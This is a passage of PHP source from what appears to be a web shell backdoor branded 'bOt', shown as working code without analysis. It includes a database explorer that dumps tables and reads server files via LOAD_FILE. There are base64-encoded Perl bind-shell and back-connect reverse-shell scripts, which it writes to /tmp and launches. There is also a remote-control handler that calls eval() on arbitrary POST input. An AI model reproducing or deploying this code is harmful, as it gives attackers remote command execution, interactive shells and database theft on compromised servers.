						$r[] = $i['file'];
					$this->query('drop table bOt2');
					return array('file'=>implode("\n",$r));
				break;
			}
			return false;
		}
		function dump($table, $fp = false) {
			switch($this->type)	{
				case 'mysql':
					$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
					$create = mysql_fetch_array($res);
					$sql = $create[1].";\n";
                    if($fp) fwrite($fp, $sql); else echo($sql);
					$this->query('SELECT * FROM `'.$table.'`');
                    $head = true;
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
                            if($v == null)
                                $item[$k] = "NULL";
                            elseif(is_numeric($v))
                                $item[$k] = $v;
                            else
                                $item[$k] = "'".@mysql_real_escape_string($v)."'";
							$columns[] = "`".$k."`";
						}
                        if($head) {
                            $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
                            $head = false;
                        } else
                            $sql = "\n\t,(".implode(", ", $item).')';
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
                    if(!$head)
                        if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
				break;
				case 'pgsql':
					$this->query('SELECT * FROM '.$table);
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
							$item[$k] = "'".addslashes($v)."'";
							$columns[] = $k;
						}
                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
				break;
			}
			return false;
		}
	};
	$db = new DbClass($_POST['type']);
	if(@$_POST['p2']=='download') {
		$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
		$db->selectdb($_POST['sql_base']);
        switch($_POST['charset']) {
            case "Windows-1251": $db->setCharset('cp1251'); break;
            case "UTF-8": $db->setCharset('utf8'); break;
            case "KOI8-R": $db->setCharset('koi8r'); break;
            case "KOI8-U": $db->setCharset('koi8u'); break;
            case "cp866": $db->setCharset('cp866'); break;
        }
        if(empty($_POST['file'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            foreach($_POST['tbl'] as $v)
				$db->dump($v);
            exit;
        } elseif($fp = @fopen($_POST['file'], 'w')) {
            foreach($_POST['tbl'] as $v)
                $db->dump($v, $fp);
            fclose($fp);
            unset($_POST['p2']);
        } else
            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
	}
	bOtHeader();
	echo "
<h1>Sql Database Explorer</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
    if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
	$tmp = "<input type=text name=sql_base value=''>";
	if(isset($_POST['sql_host'])){
		if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
			switch($_POST['charset']) {
				case "Windows-1251": $db->setCharset('cp1251'); break;
				case "UTF-8": $db->setCharset('utf8'); break;
				case "KOI8-R": $db->setCharset('koi8r'); break;
				case "KOI8-U": $db->setCharset('koi8u'); break;
				case "cp866": $db->setCharset('cp866'); break;
			}
			$db->listDbs();
			echo "<select name=sql_base><option value=''></option>";
			while($item = $db->fetch()) {
				list($key, $value) = each($item);
				echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
			}
			echo '</select>';
		}
		else echo $tmp;
	}else
		echo $tmp;
	echo "</td>
				<td><input type=submit value='Hajar!' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db='".@addslashes($_POST['sql_base'])."';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
			function st(t,l) {
				d.sf.p1.value = 'select';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
			}
		</script>";
	if(isset($db) && $db->link){
		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
			if(!empty($_POST['sql_base'])){
				$db->selectdb($_POST['sql_base']);
				echo "<tr><td width=1 style='border-top:2px solid #800000;'><span>Tables:</span><br><br>";
				$tbls_res = $db->listTables();
				while($item = $db->fetch($tbls_res)) {
					list($key, $value) = each($item);
                    if(!empty($_POST['sql_count']))
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
					$value = htmlspecialchars($value);
					echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
				}
				echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
				if(@$_POST['p1'] == 'select') {
					$_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
					$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
					$num = $db->fetch();
					$pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                    echo " of $pages";
                    if($_POST['p3'] > 1)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
                    if($_POST['p3'] < $pages)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
                    $_POST['p3']--;
					if($_POST['type']=='pgsql')
						$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
					else
						$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
					echo "<br><br>";
				}
				if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
					$db->query(@$_POST['p2']);
					if($db->res !== false) {
						$title = false;
						echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#800000">';
						$line = 1;
						while($item = $db->fetch())	{
							if(!$title)	{
								echo '<tr>';
								foreach($item as $key => $value)
									echo '<th>'.$key.'</th>';
								reset($item);
								$title=true;
								echo '</tr><tr>';
								$line = 2;
							}
							echo '<tr class="l'.$line.'">';
							$line = $line==1?2:1;
							foreach($item as $key => $value) {
								if($value == null)
									echo '<td><i>null</i></td>';
								else
									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
							}
							echo '</tr>';
						}
						echo '</table>';
					} else {
						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
					}
				}
				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='Hajar!'></form>";
            }
			if(@$_POST['p1'] == 'loadfile') {
				$file = $db->loadFile($_POST['p2']);
				echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo '</div>';
	bOtFooter();
}

function actionNetwork() {
	bOtHeader();
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type='text' name='port' value='31337'> <input type=submit value='Hajar!'>
	</form>
	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='Hajar!'>
	</form><br>";
	if(isset($_POST['p1'])) {
		function cf($f,$t) {
			$w = @fopen($f,"w") or @function_exists('file_put_contents');
			if($w){
				@fwrite($w,@base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST['p1'] == 'bpp') {
			cf("/tmp/bp.pl",$bind_port_p);
			$out = bOtEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
			echo "<pre class=ml1>$out\n".bOtEx("ps aux | grep bp.pl")."</pre>";
            unlink("/tmp/bp.pl");
		}
		if($_POST['p1'] == 'bcp') {
			cf("/tmp/bc.pl",$back_connect_p);
			$out = bOtEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
			echo "<pre class=ml1>$out\n".bOtEx("ps aux | grep bc.pl")."</pre>";
            unlink("/tmp/bc.pl");
		}
	}
	echo '</div>';
	bOtFooter();
}
function actionRC() {
	if(!@$_POST['p1']) {
		$a = array(
			"uname" => php_uname(),
			"php_version" => phpversion(),
			"bOt_version" => bOt_VERSION,
			"safemode" => @ini_get('safe_mode')
		);
		echo serialize($a);
	} else {
		eval($_POST['p1']);
	}
}
if( empty($_POST['a']) )
	if(isset($default_action) && function_exists('action' . $default_action))
		$_POST['a'] = $default_action;
	else
		$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
	call_user_func('action' . $_POST['a']);
exit;

?>